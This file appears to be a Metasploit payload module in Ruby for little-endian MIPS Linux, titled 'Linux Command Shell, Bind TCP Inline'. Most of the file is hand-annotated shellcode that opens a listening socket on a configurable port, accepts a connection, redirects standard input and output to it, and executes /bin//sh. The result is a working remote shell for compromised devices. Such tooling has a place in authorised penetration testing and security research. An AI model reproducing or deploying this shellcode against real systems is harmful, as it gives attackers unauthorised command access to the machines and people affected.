115 lines
4.3 KiB
Ruby
115 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 232
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include Msf::Payload::Single
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include Msf::Payload::Linux
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux Command Shell, Bind TCP Inline',
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'Description' => 'Listen for a connection and spawn a command shell',
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'Author' =>
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[
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'scut', # Original mips-irix-portshell shellcode
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'vaicebine', # Original shellcode mod
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'Vlatko Kosturjak', # Metasploit module
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'juan vazquez' # Small fixes and optimizations
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],
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSLE,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShellUnix,
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'Payload' =>
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{
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'Offsets' => {} ,
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'Payload' => ''
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})
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)
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end
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def generate(_opts = {})
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if !datastore['LPORT']
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return super
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end
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port = Integer(datastore['LPORT'])
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port = [port].pack("n").unpack("cc");
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shellcode =
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"\xe0\xff\xbd\x27" + # addiu sp,sp,-32
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"\xfd\xff\x0e\x24" + # li t6,-3
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"\x27\x20\xc0\x01" + # nor a0,t6,zero
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"\x27\x28\xc0\x01" + # nor a1,t6,zero
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"\xff\xff\x06\x28" + # slti a2,zero,-1
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"\x57\x10\x02\x24" + # li v0,4183 ( __NR_socket )
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"\x0c\x01\x01\x01" + # syscall
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"\xff\xff\x50\x30" + # andi s0,v0,0xffff
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"\xef\xff\x0e\x24" + # li t6,-17 ; t6: 0xffffffef
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"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x10 (16)
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port.pack("C2") + "\x0d\x24" + # li t5,0xFFFF (port) ; t5: 0x5c11 (0x115c == 4444 (default LPORT))
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"\x04\x68\xcd\x01" + # sllv t5,t5,t6 ; t5: 0x5c110000
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"\xfd\xff\x0e\x24" + # li t6,-3 ; t6: -3
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"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x2
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"\x25\x68\xae\x01" + # or t5,t5,t6 ; t5: 0x5c110002
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"\xe0\xff\xad\xaf" + # sw t5,-32(sp)
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"\xe4\xff\xa0\xaf" + # sw zero,-28(sp)
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"\xe8\xff\xa0\xaf" + # sw zero,-24(sp)
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"\xec\xff\xa0\xaf" + # sw zero,-20(sp)
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"\x25\x20\x10\x02" + # or a0,s0,s0
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"\xef\xff\x0e\x24" + # li t6,-17
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"\x27\x30\xc0\x01" + # nor a2,t6,zero
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"\xe0\xff\xa5\x23" + # addi a1,sp,-32
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"\x49\x10\x02\x24" + # li v0,4169 ( __NR_bind )A
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"\x0c\x01\x01\x01" + # syscall
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"\x25\x20\x10\x02" + # or a0,s0,s0
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"\x01\x01\x05\x24" + # li a1,257
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"\x4e\x10\x02\x24" + # li v0,4174 ( __NR_listen )
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"\x0c\x01\x01\x01" + # syscall
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"\x25\x20\x10\x02" + # or a0,s0,s0
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"\xff\xff\x05\x28" + # slti a1,zero,-1
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"\xff\xff\x06\x28" + # slti a2,zero,-1
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"\x48\x10\x02\x24" + # li v0,4168 ( __NR_accept )
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"\x0c\x01\x01\x01" + # syscall
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"\xff\xff\xa2\xaf" + # sw v0,-1(sp) # socket
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"\xfd\xff\x11\x24" + # li s1,-3
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"\x27\x88\x20\x02" + # nor s1,s1,zero
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"\xff\xff\xa4\x8f" + # lw a0,-1(sp)
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"\x21\x28\x20\x02" + # move a1,s1 # dup2_loop
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"\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 )
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"\x0c\x01\x01\x01" + # syscall 0x40404
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"\xff\xff\x10\x24" + # li s0,-1
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"\xff\xff\x31\x22" + # addi s1,s1,-1
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"\xfa\xff\x30\x16" + # bne s1,s0 <dup2_loop>
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"\xff\xff\x06\x28" + # slti a2,zero,-1
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"\x62\x69\x0f\x3c" + # lui t7,0x2f2f "bi"
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"\x2f\x2f\xef\x35" + # ori t7,t7,0x6269 "//"
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"\xec\xff\xaf\xaf" + # sw t7,-20(sp)
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"\x73\x68\x0e\x3c" + # lui t6,0x6e2f "sh"
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"\x6e\x2f\xce\x35" + # ori t6,t6,0x7368 "n/"
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"\xf0\xff\xae\xaf" + # sw t6,-16(sp)
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"\xf4\xff\xa0\xaf" + # sw zero,-12(sp)
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"\xec\xff\xa4\x27" + # addiu a0,sp,-20
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"\xf8\xff\xa4\xaf" + # sw a0,-8(sp)
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"\xfc\xff\xa0\xaf" + # sw zero,-4(sp)
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"\xf8\xff\xa5\x27" + # addiu a1,sp,-8
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"\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve )
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"\x0c\x01\x01\x01" # syscall 0x40404
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return super + shellcode
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end
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end
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